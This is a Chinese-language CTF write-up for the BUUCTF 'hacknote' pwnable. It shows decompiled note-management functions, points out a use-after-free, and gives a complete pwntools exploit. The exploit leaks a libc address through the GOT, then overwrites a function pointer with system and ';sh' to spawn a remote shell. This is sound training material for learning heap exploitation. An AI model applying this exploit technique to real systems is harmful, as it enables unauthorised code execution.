pwnable_hacknote

pwnable_hacknote

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8047000)

32位,没开PIE

main部分就不贴了,直接贴主要的函数

unsigned int ADD()
{
  int v0; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( BSSNUM <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&ptr + i) )
      {
        *(&ptr + i) = malloc(8u);
        if ( !*(&ptr + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)*(&ptr + i) = sub_804862B;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = (int)*(&ptr + i);
        *(_DWORD *)(v0 + 4) = malloc(size);
        if ( !*((_DWORD *)*(&ptr + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)*(&ptr + i) + 1), size);
        puts("Success !");
        ++BSSNUM;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

add这里,程序申请了一个chunk,用来存放puts函数,和content的地址,

然后给用户申请一个chunk,size不限制

unsigned int DELE()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= BSSNUM )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
  {
    free(*((void **)*(&ptr + v1) + 1));
    free(*(&ptr + v1));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

free这里是uaf

unsigned int SHOW()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= BSSNUM )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
    (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
  return __readgsdword(0x14u) ^ v3;
}

show这里,是通过程序申请的chunk里面的puts函数,然后取下一位content的地址去打印content的

思路

既然用程序的puts调用地址打印,我们可以构造一个可操作的chunk去使这个函数,泄露我们需要的

比如说libc

后面就是计算libc,getshell

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",26820,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
libc=ELF('libc-2.23_32.so')

add(0x80,b'a')
add(0x80,b'a')
add(0x30,b'a')
dele(0)
dele(1)
add(0x8,flat(0x804862B,elf.got['free']))
show(0)
leak=u32(r.recvuntil(b'xf7')[-4:])
base=leak-libc.sym['free']
sys=system(base)
sh=shell(base)
li(leak)
dele(3)
add(0x8,flat(sys,';shx00'))
show(0)

ia()

本来我打算用libc的shell去打的,奈何打不通,参考了一下其他师傅,发现用system函数地址去覆盖puts函数的地址,参数会是system函数本身,用;执行下一条命令才能执行到system(sh)
在这里插入图片描述